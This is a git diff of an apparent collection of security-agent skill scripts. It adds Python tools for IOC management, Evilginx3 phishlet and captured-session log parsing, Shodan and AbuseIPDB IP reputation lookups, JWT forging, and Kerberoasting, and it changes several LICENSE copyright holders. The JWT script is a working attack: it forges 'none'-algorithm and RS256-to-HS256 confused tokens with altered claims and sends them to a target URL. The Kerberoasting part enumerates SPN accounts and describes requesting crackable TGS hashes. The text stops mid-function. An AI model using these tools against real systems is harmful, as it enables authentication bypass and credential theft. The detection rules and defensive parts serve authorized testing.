csv.DictReader(f) + rows = list(reader) + iocs = [] + for row in rows: + indicator = row.get("indicator", row.get("ioc", row.get("value", row.get("Indicator", "")))) + ioc_type = row.get("type", row.get("ioc_type", row.get("Type", ""))) + if not ioc_type: + for t, p in IOC_PATTERNS.items(): + if p.fullmatch(indicator.strip()): + ioc_type = t + break + iocs.append({ + "indicator": indicator.strip(), + "type": ioc_type, + "source": row.get("source", row.get("feed", "")), + "confidence": row.get("confidence", row.get("score", "")), + "first_seen": row.get("first_seen", row.get("date", "")), + "tags": row.get("tags", row.get("malware_family", "")), + }) + return {"total_ingested": len(iocs), "by_type": _count_field(iocs, "type"), "iocs": iocs[:50]} + + +def check_expiration(ioc_db_file, ttl_days=90): + """Check IOC database for expired indicators based on TTL.""" + with open(ioc_db_file, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + rows = list(reader) + now = datetime.utcnow() + expired = [] + active = [] + for row in rows: + date_str = row.get("first_seen", row.get("date", row.get("added", ""))) + try: + added = datetime.fromisoformat(date_str.replace("Z", "+00:00").replace("+00:00", "")) + except (ValueError, AttributeError): + active.append(row) + continue + age_days = (now - added).days + if age_days > ttl_days: + expired.append({**row, "age_days": age_days}) + else: + active.append(row) + return { + "total": len(rows), "active": len(active), "expired": len(expired), + "ttl_days": ttl_days, "expired_indicators": expired[:30], + } + + +def deduplicate_iocs(csv_file): + """Deduplicate IOCs and merge metadata from multiple sources.""" + with open(csv_file, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + rows = list(reader) + seen = {} + for row in rows: + key = row.get("indicator", row.get("ioc", row.get("value", ""))).strip().lower() + if key in seen: + seen[key]["sources"].add(row.get("source", "")) + seen[key]["count"] += 1 + else: + seen[key] = {"indicator": key, "type": row.get("type", ""), "sources": {row.get("source", "")}, "count": 1, "first_row": row} + unique = [{"indicator": v["indicator"], "type": v["type"], "sources": list(v["sources"]), "occurrences": v["count"]} + for v in seen.values()] + return { + "original_count": len(rows), "unique_count": len(unique), + "duplicates_removed": len(rows) - len(unique), + "multi_source": [u for u in unique if u["occurrences"] > 1][:20], + "unique_iocs": unique[:50], + } + + +def generate_lifecycle_report(csv_file, ttl_days=90): + """Generate full IOC lifecycle status report.""" + ingested = ingest_ioc_feed(csv_file) + expiration = check_expiration(csv_file, ttl_days) + dedup = deduplicate_iocs(csv_file) + return { + "generated": datetime.utcnow().isoformat(), + "total_iocs": ingested["total_ingested"], + "unique_iocs": dedup["unique_count"], + "duplicates": dedup["duplicates_removed"], + "active": expiration["active"], + "expired": expiration["expired"], + "by_type": ingested["by_type"], + "ttl_days": ttl_days, + } + + +def _count_field(items, field): + counts = {} + for item in items: + val = item.get(field, "unknown") + counts[val] = counts.get(val, 0) + 1 + return counts + + +def main(): + parser = argparse.ArgumentParser(description="IOC Lifecycle Management Agent") + sub = parser.add_subparsers(dest="command") + e = sub.add_parser("extract", help="Extract IOCs from text") + e.add_argument("--file", required=True) + i = sub.add_parser("ingest", help="Ingest IOC feed CSV") + i.add_argument("--csv", required=True) + x = sub.add_parser("expire", help="Check IOC expiration") + x.add_argument("--csv", required=True) + x.add_argument("--ttl", type=int, default=90, help="TTL in days") + d = sub.add_parser("dedup", help="Deduplicate IOCs") + d.add_argument("--csv", required=True) + r = sub.add_parser("report", help="Full lifecycle report") + r.add_argument("--csv", required=True) + r.add_argument("--ttl", type=int, default=90) + args = parser.parse_args() + if args.command == "extract": + result = extract_iocs(args.file) + elif args.command == "ingest": + result = ingest_ioc_feed(args.csv) + elif args.command == "expire": + result = check_expiration(args.csv, args.ttl) + elif args.command == "dedup": + result = deduplicate_iocs(args.csv) + elif args.command == "report": + result = generate_lifecycle_report(args.csv, args.ttl) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-initial-access-with-evilginx3/LICENSE b/skills/performing-initial-access-with-evilginx3/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-initial-access-with-evilginx3/LICENSE +++ b/skills/performing-initial-access-with-evilginx3/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-initial-access-with-evilginx3/references/api-reference.md b/skills/performing-initial-access-with-evilginx3/references/api-reference.md new file mode 100644 index 00000000..42ca0281 --- /dev/null +++ b/skills/performing-initial-access-with-evilginx3/references/api-reference.md @@ -0,0 +1,46 @@ +# API Reference — Performing Initial Access with Evilginx3 + +## Libraries Used +- **pyyaml**: Parse Evilginx3 phishlet YAML configuration files +- **subprocess**: Check Evilginx installation and version +- **pathlib**: Directory listing and file reading +- **re**: IP address extraction from session logs + +## CLI Interface +``` +python agent.py parse --phishlet office365.yaml +python agent.py logs --file sessions.log +python agent.py check +python agent.py list --dir /path/to/phishlets/ +python agent.py detect --phishlet office365.yaml +``` + +## Core Functions + +### `parse_phishlet(phishlet_path)` — Analyze phishlet configuration +Extracts proxy hosts, auth tokens, credential fields. Determines MFA bypass capability. + +### `analyze_session_log(log_file)` — Parse Evilginx session captures +Identifies sessions with captured tokens and credentials. Extracts source IPs. + +### `check_evilginx_installation()` — Verify Evilginx3 binary +Returns installed status and version string. + +### `list_phishlets(phishlet_dir)` — Enumerate available phishlets +Lists .yaml/.yml files in phishlet directory with sizes. + +### `generate_detection_rules(phishlet_path)` — Create defensive signatures +Generates DNS monitoring, cookie relay detection, and network anomaly rules. +Includes FIDO2/WebAuthn MFA recommendations. + +## Phishlet Structure +- `proxy_hosts`: Domain-to-phishing-subdomain mappings +- `auth_tokens`: Session cookies to intercept (enables MFA bypass) +- `credentials`: Form fields to capture (username/password) +- `sub_filters`: Content replacement rules for convincing proxied pages + +## Dependencies +``` +pip install pyyaml +``` +System: evilginx (optional, for live testing) diff --git a/skills/performing-initial-access-with-evilginx3/scripts/agent.py b/skills/performing-initial-access-with-evilginx3/scripts/agent.py new file mode 100644 index 00000000..3f9aa7b0 --- /dev/null +++ b/skills/performing-initial-access-with-evilginx3/scripts/agent.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python3 +"""Agent for performing initial access simulation with Evilginx3 phishlet analysis — educational/authorized pentest use.""" + +import json +import argparse +import subprocess +import re +from pathlib import Path +from datetime import datetime + + +def parse_phishlet(phishlet_path): + """Parse an Evilginx3 YAML phishlet file and extract configuration.""" + try: + import yaml + except ImportError: + return {"error": "pyyaml not installed — pip install pyyaml"} + content = Path(phishlet_path).read_text(encoding="utf-8") + config = yaml.safe_load(content) + proxy_hosts = config.get("proxy_hosts", []) + sub_filters = config.get("sub_filters", []) + auth_tokens = config.get("auth_tokens", []) + cred_fields = config.get("credentials", {}) + return { + "phishlet": phishlet_path, + "name": config.get("name", ""), + "author": config.get("author", ""), + "target_domain": proxy_hosts[0].get("domain", "") if proxy_hosts else "", + "proxy_hosts": [{"phish_sub": h.get("phish_sub"), "orig_sub": h.get("orig_sub"), "domain": h.get("domain")} for h in proxy_hosts], + "auth_tokens": [{"domain": t.get("domain"), "keys": t.get("keys", [])} for t in auth_tokens], + "credential_fields": cred_fields, + "sub_filters_count": len(sub_filters), + "analysis": { + "captures_session_tokens": len(auth_tokens) > 0, + "captures_credentials": bool(cred_fields), + "mfa_bypass_capable": len(auth_tokens) > 0, + }, + } + + +def analyze_session_log(log_file): + """Analyze Evilginx session capture logs.""" + content = Path(log_file).read_text(encoding="utf-8", errors="replace") + sessions = [] + current = {} + for line in content.splitlines(): + if "new session" in line.lower() or "session started" in line.lower(): + if current: + sessions.append(current) + current = {"start": line.strip(), "tokens": [], "credentials": []} + elif "token" in line.lower() or "cookie" in line.lower(): + current.setdefault("tokens", []).append(line.strip()[:200]) + elif "username" in line.lower() or "password" in line.lower() or "credential" in line.lower(): + current.setdefault("credentials", []).append(line.strip()[:200]) + elif "landing_url" in line.lower() or "remote_addr" in line.lower(): + ip_match = re.search(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", line) + if ip_match: + current["source_ip"] = ip_match.group() + if current: + sessions.append(current) + return { + "log_file": log_file, + "total_sessions": len(sessions), + "sessions_with_tokens": sum(1 for s in sessions if s.get("tokens")), + "sessions_with_creds": sum(1 for s in sessions if s.get("credentials")), + "sessions": sessions[:20], + } + + +def check_evilginx_installation(): + """Check if Evilginx3 is installed and get version.""" + try: + result = subprocess.run(["evilginx", "--version"], capture_output=True, text=True, timeout=10) + version = result.stdout.strip() or result.stderr.strip() + return {"installed": True, "version": version} + except FileNotFoundError: + return {"installed": False, "error": "evilginx not found in PATH"} + except Exception as e: + return {"installed": False, "error": str(e)} + + +def list_phishlets(phishlet_dir): + """List available phishlets in a directory.""" + p = Path(phishlet_dir) + if not p.is_dir(): + return {"error": f"Directory not found: {phishlet_dir}"} + phishlets = [] + for f in sorted(p.glob("*.yaml")) + sorted(p.glob("*.yml")): + phishlets.append({"name": f.stem, "path": str(f), "size": f.stat().st_size}) + return {"directory": phishlet_dir, "count": len(phishlets), "phishlets": phishlets} + + +def generate_detection_rules(phishlet_path): + """Generate detection signatures for a phishlet's attack patterns.""" + try: + import yaml + except ImportError: + return {"error": "pyyaml not installed"} + config = yaml.safe_load(Path(phishlet_path).read_text()) + proxy_hosts = config.get("proxy_hosts", []) + rules = [] + for host in proxy_hosts: + domain = host.get("domain", "") + phish_sub = host.get("phish_sub", "") + rules.append({ + "type": "dns_monitor", + "description": f"Monitor for DNS queries to subdomains impersonating {domain}", + "pattern": f"*.{domain}", + "indicator": f"Phishing subdomain: {phish_sub}.{domain}", + }) + auth_tokens = config.get("auth_tokens", []) + for token in auth_tokens: + for key in token.get("keys", []): + rules.append({ + "type": "cookie_monitor", + "description": f"Monitor for session token relay of {key}", + "cookie_name": key, + "domain": token.get("domain", ""), + }) + rules.append({ + "type": "network_signature", + "description": "Detect reverse proxy header anomalies", + "indicators": ["X-Forwarded-For mismatch", "Origin header discrepancy", "TLS certificate mismatch"], + }) + return { + "phishlet": phishlet_path, + "detection_rules": rules, + "total_rules": len(rules), + "recommendations": [ + "Enable FIDO2/WebAuthn MFA to prevent session token theft", + "Monitor for certificate transparency log entries with suspicious subdomains", + "Deploy conditional access policies requiring compliant devices", + ], + } + + +def main(): + parser = argparse.ArgumentParser(description="Evilginx3 Phishlet Analysis Agent (Authorized Testing Only)") + sub = parser.add_subparsers(dest="command") + p = sub.add_parser("parse", help="Parse phishlet YAML") + p.add_argument("--phishlet", required=True) + l = sub.add_parser("logs", help="Analyze session logs") + l.add_argument("--file", required=True) + sub.add_parser("check", help="Check Evilginx installation") + ls = sub.add_parser("list", help="List available phishlets") + ls.add_argument("--dir", required=True) + d = sub.add_parser("detect", help="Generate detection rules") + d.add_argument("--phishlet", required=True) + args = parser.parse_args() + if args.command == "parse": + result = parse_phishlet(args.phishlet) + elif args.command == "logs": + result = analyze_session_log(args.file) + elif args.command == "check": + result = check_evilginx_installation() + elif args.command == "list": + result = list_phishlets(args.dir) + elif args.command == "detect": + result = generate_detection_rules(args.phishlet) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-insider-threat-investigation/LICENSE b/skills/performing-insider-threat-investigation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-insider-threat-investigation/LICENSE +++ b/skills/performing-insider-threat-investigation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ioc-enrichment-automation/LICENSE b/skills/performing-ioc-enrichment-automation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-ioc-enrichment-automation/LICENSE +++ b/skills/performing-ioc-enrichment-automation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-iot-security-assessment/LICENSE b/skills/performing-iot-security-assessment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-iot-security-assessment/LICENSE +++ b/skills/performing-iot-security-assessment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ip-reputation-analysis-with-shodan/LICENSE b/skills/performing-ip-reputation-analysis-with-shodan/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-ip-reputation-analysis-with-shodan/LICENSE +++ b/skills/performing-ip-reputation-analysis-with-shodan/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ip-reputation-analysis-with-shodan/references/api-reference.md b/skills/performing-ip-reputation-analysis-with-shodan/references/api-reference.md new file mode 100644 index 00000000..42a2e63f --- /dev/null +++ b/skills/performing-ip-reputation-analysis-with-shodan/references/api-reference.md @@ -0,0 +1,37 @@ +# API Reference — Performing IP Reputation Analysis with Shodan + +## Libraries Used +- **shodan**: Shodan API client for IP host lookup, port scanning, vulnerability data +- **requests**: HTTP client for AbuseIPDB API reputation checks + +## CLI Interface + +``` +python agent.py --shodan-key [--abuseipdb-key ] lookup --ip +python agent.py --shodan-key [--abuseipdb-key ] bulk --ips +``` + +## Core Functions + +### `shodan_host_lookup(api_key, ip)` — Shodan host details +- `shodan.Shodan(api_key)` / `api.host(ip)` +- Returns: org, ASN, ISP, country, open ports, vulns, services + +### `abuseipdb_check(api_key, ip, max_age_days)` — AbuseIPDB reputation +- `GET https://api.abuseipdb.com/api/v2/check` +- Returns: abuse_confidence (0-100), total_reports, is_tor + +### `bulk_reputation(shodan_key, ips, abuseipdb_key)` — Multi-IP analysis with risk scoring + +## Risk Classification +| Risk | Criteria | +|------|---------| +| Critical | Abuse score >= 80 or 3+ known vulns | +| High | Abuse score >= 50 or 1+ known vulns | +| Medium | Abuse score >= 20 | +| Low | Below thresholds | + +## Dependencies +``` +pip install shodan requests +``` diff --git a/skills/performing-ip-reputation-analysis-with-shodan/scripts/agent.py b/skills/performing-ip-reputation-analysis-with-shodan/scripts/agent.py new file mode 100644 index 00000000..7d589469 --- /dev/null +++ b/skills/performing-ip-reputation-analysis-with-shodan/scripts/agent.py @@ -0,0 +1,123 @@ +#!/usr/bin/env python3 +"""Agent for performing IP reputation analysis using the Shodan API.""" + +import json +import argparse +from datetime import datetime + +try: + import shodan + HAS_SHODAN = True +except ImportError: + HAS_SHODAN = False + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + +ABUSEIPDB_URL = "https://api.abuseipdb.com/api/v2/check" + + +def shodan_host_lookup(api_key, ip): + """Look up IP details from Shodan.""" + api = shodan.Shodan(api_key) + result = api.host(ip) + return { + "ip": result.get("ip_str"), + "org": result.get("org"), + "asn": result.get("asn"), + "isp": result.get("isp"), + "os": result.get("os"), + "country": result.get("country_code"), + "city": result.get("city"), + "open_ports": result.get("ports", []), + "vulns": result.get("vulns", []), + "hostnames": result.get("hostnames", []), + "last_update": result.get("last_update"), + "services": [ + {"port": s.get("port"), "transport": s.get("transport"), + "product": s.get("product"), "version": s.get("version")} + for s in result.get("data", []) + ][:20], + } + + +def abuseipdb_check(api_key, ip, max_age_days=90): + """Check IP reputation on AbuseIPDB.""" + resp = requests.get(ABUSEIPDB_URL, headers={"Key": api_key, "Accept": "application/json"}, + params={"ipAddress": ip, "maxAgeInDays": max_age_days}, timeout=15) + resp.raise_for_status() + data = resp.json().get("data", {}) + return { + "ip": data.get("ipAddress"), + "abuse_confidence": data.get("abuseConfidenceScore"), + "total_reports": data.get("totalReports"), + "country": data.get("countryCode"), + "isp": data.get("isp"), + "domain": data.get("domain"), + "is_tor": data.get("isTor"), + "is_whitelisted": data.get("isWhitelisted"), + "last_reported": data.get("lastReportedAt"), + } + + +def bulk_reputation(shodan_key, ips, abuseipdb_key=None): + """Analyze reputation of multiple IPs.""" + results = [] + for ip in ips: + ip = ip.strip() + if not ip: + continue + entry = {"ip": ip} + try: + entry["shodan"] = shodan_host_lookup(shodan_key, ip) + except Exception as e: + entry["shodan"] = {"error": str(e)} + if abuseipdb_key: + try: + entry["abuseipdb"] = abuseipdb_check(abuseipdb_key, ip) + except Exception as e: + entry["abuseipdb"] = {"error": str(e)} + risk = "low" + abuse_score = entry.get("abuseipdb", {}).get("abuse_confidence", 0) or 0 + vulns = entry.get("shodan", {}).get("vulns", []) + if abuse_score >= 80 or len(vulns) >= 3: + risk = "critical" + elif abuse_score >= 50 or len(vulns) >= 1: + risk = "high" + elif abuse_score >= 20: + risk = "medium" + entry["risk"] = risk + results.append(entry) + return {"timestamp": datetime.utcnow().isoformat(), "total": len(results), "results": results} + + +def main(): + parser = argparse.ArgumentParser(description="IP Reputation Analysis Agent") + parser.add_argument("--shodan-key", required=True, help="Shodan API key") + parser.add_argument("--abuseipdb-key", help="AbuseIPDB API key") + sub = parser.add_subparsers(dest="command") + l = sub.add_parser("lookup", help="Look up single IP") + l.add_argument("--ip", required=True) + b = sub.add_parser("bulk", help="Analyze multiple IPs") + b.add_argument("--ips", nargs="+", required=True) + args = parser.parse_args() + if not HAS_SHODAN: + print(json.dumps({"error": "shodan library not installed"})) + return + if args.command == "lookup": + result = {"shodan": shodan_host_lookup(args.shodan_key, args.ip)} + if args.abuseipdb_key and HAS_REQUESTS: + result["abuseipdb"] = abuseipdb_check(args.abuseipdb_key, args.ip) + elif args.command == "bulk": + result = bulk_reputation(args.shodan_key, args.ips, args.abuseipdb_key) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-jwt-none-algorithm-attack/LICENSE b/skills/performing-jwt-none-algorithm-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-jwt-none-algorithm-attack/LICENSE +++ b/skills/performing-jwt-none-algorithm-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-jwt-none-algorithm-attack/references/api-reference.md b/skills/performing-jwt-none-algorithm-attack/references/api-reference.md new file mode 100644 index 00000000..4e3d6e6f --- /dev/null +++ b/skills/performing-jwt-none-algorithm-attack/references/api-reference.md @@ -0,0 +1,47 @@ +# API Reference — Performing JWT None Algorithm Attack + +## Libraries Used +- **base64**: Base64url encoding/decoding for JWT components +- **hmac / hashlib**: HMAC-SHA256 signing for algorithm confusion attacks +- **json**: JWT header/payload serialization +- **requests** (optional): Test forged tokens against live endpoints + +## CLI Interface +``` +python agent.py decode --token +python agent.py forge --token [--claims '{"role":"admin"}'] +python agent.py confuse --token [--pubkey public.pem] +python agent.py test --url --token +``` + +## Core Functions + +### `decode_jwt(token)` — Decode JWT without verification +Returns header, payload, and vulnerability checks: alg=none, no expiry, expired, no issuer. + +### `forge_none_token(token, modify_claims)` — Create alg=none variants +Generates 6 variants: `none`, `None`, `NONE`, `nOnE`, empty signature, no trailing dot. + +### `test_alg_confusion(token, public_key_file)` — Algorithm confusion attack +Tests RS256-to-HS256 downgrade using RSA public key as HMAC secret. + +### `test_jwt_endpoint(url, original_token, forged_tokens)` — Validate against API +Sends forged tokens to target endpoint. Reports CRITICAL if any variant accepted. + +## JWT None Variants Tested +| Variant | Algorithm Header | +|---------|-----------------| +| alg_none | `"alg": "none"` | +| alg_None | `"alg": "None"` | +| alg_NONE | `"alg": "NONE"` | +| alg_nOnE | `"alg": "nOnE"` | +| empty_sig | No signature segment | + +## Severity Classification +- **CRITICAL**: Any none-algorithm token accepted by server +- **INFO**: All forged tokens rejected + +## Dependencies +``` +pip install requests # optional, for endpoint testing +``` diff --git a/skills/performing-jwt-none-algorithm-attack/scripts/agent.py b/skills/performing-jwt-none-algorithm-attack/scripts/agent.py new file mode 100644 index 00000000..49f3604d --- /dev/null +++ b/skills/performing-jwt-none-algorithm-attack/scripts/agent.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python3 +"""Agent for performing JWT 'none' algorithm attack testing.""" + +import json +import argparse +import base64 +import hmac +import hashlib +from datetime import datetime + + +def b64url_encode(data): + """Base64url encode bytes.""" + return base64.urlsafe_b64encode(data).rstrip(b"=").decode() + + +def b64url_decode(s): + """Base64url decode string.""" + s += "=" * (4 - len(s) % 4) + return base64.urlsafe_b64decode(s) + + +def decode_jwt(token): + """Decode and display JWT components without verification.""" + parts = token.split(".") + if len(parts) not in (2, 3): + return {"error": "Invalid JWT format — expected 2 or 3 parts"} + header = json.loads(b64url_decode(parts[0])) + payload = json.loads(b64url_decode(parts[1])) + signature = parts[2] if len(parts) == 3 else "" + vuln_checks = { + "alg_none_in_header": header.get("alg", "").lower() in ("none", ""), + "alg_symmetric": header.get("alg", "").startswith("HS"), + "no_expiry": "exp" not in payload, + "expired": payload.get("exp", float("inf")) < datetime.utcnow().timestamp() if "exp" in payload else False, + "no_issuer": "iss" not in payload, + } + return {"header": header, "payload": payload, "signature_present": bool(signature), "vulnerability_checks": vuln_checks} + + +def forge_none_token(token, modify_claims=None): + """Forge a JWT with 'none' algorithm (removes signature).""" + parts = token.split(".") + payload = json.loads(b64url_decode(parts[0])) + claims = json.loads(b64url_decode(parts[1])) + if modify_claims: + claims.update(modify_claims) + none_header = b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()) + new_payload = b64url_encode(json.dumps(claims).encode()) + variants = [ + {"name": "alg_none", "token": f"{none_header}.{new_payload}."}, + {"name": "alg_None", "token": f"{b64url_encode(json.dumps({'alg': 'None', 'typ': 'JWT'}).encode())}.{new_payload}."}, + {"name": "alg_NONE", "token": f"{b64url_encode(json.dumps({'alg': 'NONE', 'typ': 'JWT'}).encode())}.{new_payload}."}, + {"name": "alg_nOnE", "token": f"{b64url_encode(json.dumps({'alg': 'nOnE', 'typ': 'JWT'}).encode())}.{new_payload}."}, + {"name": "empty_sig", "token": f"{none_header}.{new_payload}"}, + {"name": "no_dot", "token": f"{none_header}.{new_payload}"}, + ] + return { + "original_claims": json.loads(b64url_decode(parts[1])), + "modified_claims": claims, + "forged_tokens": variants, + } + + +def test_alg_confusion(token, public_key_file=None): + """Test algorithm confusion (RS256 -> HS256 using public key as HMAC secret).""" + parts = token.split(".") + header = json.loads(b64url_decode(parts[0])) + claims = json.loads(b64url_decode(parts[1])) + results = {"original_alg": header.get("alg"), "tests": []} + if public_key_file: + try: + pubkey = open(public_key_file, "rb").read() + hs256_header = b64url_encode(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) + payload_b64 = b64url_encode(json.dumps(claims).encode()) + signing_input = f"{hs256_header}.{payload_b64}".encode() + signature = b64url_encode(hmac.new(pubkey, signing_input, hashlib.sha256).digest()) + results["tests"].append({ + "name": "RS256_to_HS256_confusion", + "forged_token": f"{hs256_header}.{payload_b64}.{signature}", + "description": "Uses RSA public key as HMAC-SHA256 secret", + }) + except Exception as e: + results["tests"].append({"name": "RS256_to_HS256_confusion", "error": str(e)}) + none_header = b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()) + payload_b64 = b64url_encode(json.dumps(claims).encode()) + results["tests"].append({ + "name": "alg_none_downgrade", + "forged_token": f"{none_header}.{payload_b64}.", + "description": "Downgrade to 'none' algorithm — removes signature", + }) + return results + + +def test_jwt_endpoint(url, original_token, forged_tokens, headers=None): + """Test forged JWTs against a target endpoint.""" + try: + import requests + except ImportError: + return {"error": "requests not installed"} + hdrs = headers or {} + results = [] + for ft in forged_tokens: + test_headers = {**hdrs, "Authorization": f"Bearer {ft['token']}"} + try: + resp = requests.get(url, headers=test_headers, timeout=10) + accepted = resp.status_code in (200, 201, 204) + results.append({ + "variant": ft["name"], "status": resp.status_code, + "accepted": accepted, "body_snippet": resp.text[:200], + }) + except Exception as e: + results.append({"variant": ft["name"], "error": str(e)}) + orig_resp = None + try: + resp = requests.get(url, headers={**hdrs, "Authorization": f"Bearer {original_token}"}, timeout=10) + orig_resp = {"status": resp.status_code, "body_length": len(resp.text)} + except Exception: + pass + vulnerable = [r for r in results if r.get("accepted")] + return { + "url": url, "original_response": orig_resp, + "tests": results, "vulnerable_variants": len(vulnerable), + "finding": "JWT_NONE_VULNERABLE" if vulnerable else "JWT_NONE_REJECTED", + "severity": "CRITICAL" if vulnerable else "INFO", + } + + +def main(): + parser = argparse.ArgumentParser(description="JWT None Algorithm Attack Agent") + sub = parser.add_subparsers(dest="command") + d = sub.add_parser("decode", help="Decode JWT token") + d.add_argument("--token", required=True) + f = sub.add_parser("forge", help="Forge none-algorithm token") + f.add_argument("--token", required=True) + f.add_argument("--claims", help="JSON claims to modify") + c = sub.add_parser("confuse", help="Test algorithm confusion") + c.add_argument("--token", required=True) + c.add_argument("--pubkey", help="RSA public key file for HS256 confusion") + t = sub.add_parser("test", help="Test forged tokens against endpoint") + t.add_argument("--url", required=True) + t.add_argument("--token", required=True) + args = parser.parse_args() + if args.command == "decode": + result = decode_jwt(args.token) + elif args.command == "forge": + claims = json.loads(args.claims) if args.claims else None + result = forge_none_token(args.token, claims) + elif args.command == "confuse": + result = test_alg_confusion(args.token, args.pubkey) + elif args.command == "test": + forged = forge_none_token(args.token) + result = test_jwt_endpoint(args.url, args.token, forged["forged_tokens"]) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-kerberoasting-attack/LICENSE b/skills/performing-kerberoasting-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-kerberoasting-attack/LICENSE +++ b/skills/performing-kerberoasting-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-kerberoasting-attack/references/api-reference.md b/skills/performing-kerberoasting-attack/references/api-reference.md new file mode 100644 index 00000000..6567f6f2 --- /dev/null +++ b/skills/performing-kerberoasting-attack/references/api-reference.md @@ -0,0 +1,43 @@ +# API Reference — Performing Kerberoasting Attack + +## Libraries Used +- **subprocess**: Execute ldapsearch, PowerShell, Impacket GetUserSPNs, wevtutil +- **python-evtx**: Parse Windows Security EVTX for Event ID 4769 +- **xml.etree.ElementTree**: Parse EVTX XML event data +- **impacket** (external): GetUserSPNs.py for TGS ticket requests + +## CLI Interface +``` +python agent.py enum --domain corp.example.com +python agent.py roast --domain corp.example.com [--user svc_account] +python agent.py analyze --file kerberoast_hashes.txt +python agent.py detect [--evtx security.evtx] +``` + +## Core Functions + +### `enumerate_spn_accounts(domain)` — Find SPN-enabled accounts +LDAP query for `(servicePrincipalName=*)`. Falls back to PowerShell Get-ADUser. +Identifies high-value targets with admin group membership. + +### `request_tgs_tickets(domain, username)` — Execute Kerberoasting +Uses Impacket GetUserSPNs with `-request` flag. Outputs $krb5tgs$ hashes. + +### `analyze_kerberoast_hashes(hash_file)` — Assess hash crackability +Categorizes by encryption type: RC4 (etype 23, crackable) vs AES (etype 17/18). + +### `detect_kerberoasting(evtx_file)` — Detect attack via Event ID 4769 +Flags TGS requests with RC4 encryption (0x17) as suspicious Kerberoasting indicators. + +## Encryption Types +| Etype | Algorithm | Crackability | +|-------|-----------|-------------| +| 0x17 (23) | RC4-HMAC | HIGH — fast offline cracking | +| 0x11 (17) | AES128 | LOW — computationally expensive | +| 0x12 (18) | AES256 | LOW — computationally expensive | + +## Dependencies +``` +pip install impacket python-evtx +``` +System: ldapsearch (optional), PowerShell with AD module (Windows) diff --git a/skills/performing-kerberoasting-attack/scripts/agent.py b/skills/performing-kerberoasting-attack/scripts/agent.py new file mode 100644 index 00000000..9013e485 --- /dev/null +++ b/skills/performing-kerberoasting-attack/scripts/agent.py @@ -0,0 +1,177 @@ +#!/usr/bin/env python3 +"""Agent for performing Kerberoasting attack simulation and detection — authorized testing only.""" + +import json +import argparse +import subprocess +import re +from datetime import datetime +from pathlib import Path + + +def enumerate_spn_accounts(domain=None): + """Enumerate service principal name (SPN) accounts via LDAP query.""" + cmd = ["ldapsearch", "-x", "-H", f"ldap://{domain}" if domain else "ldap://localhost", + "-b", f"dc={',dc='.join(domain.split('.'))}" if domain else "", + "(&(objectClass=user)(servicePrincipalName=*))", + "sAMAccountName", "servicePrincipalName", "memberOf", "pwdLastSet"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + accounts = [] + current = {} + for line in result.stdout.splitlines(): + if line.startswith("dn:"): + if current: + accounts.append(current) + current = {"dn": line[4:].strip()} + elif line.startswith("sAMAccountName:"): + current["username"] = line.split(":", 1)[1].strip() + elif line.startswith("servicePrincipalName:"): + current.setdefault("spns", []).append(line.split(":", 1)[1].strip()) + elif line.startswith("memberOf:"): + current.setdefault("groups", []).append(line.split(":", 1)[1].strip()) + if current and current.get("username"): + accounts.append(current) + high_value = [a for a in accounts if any("admin" in g.lower() for g in a.get("groups", []))] + return { + "domain": domain, "total_spn_accounts": len(accounts), + "high_value_targets": len(high_value), + "accounts": accounts[:30], + } + except FileNotFoundError: + return _powershell_spn_enum(domain) + except Exception as e: + return {"error": str(e)} + + +def _powershell_spn_enum(domain): + """Fallback SPN 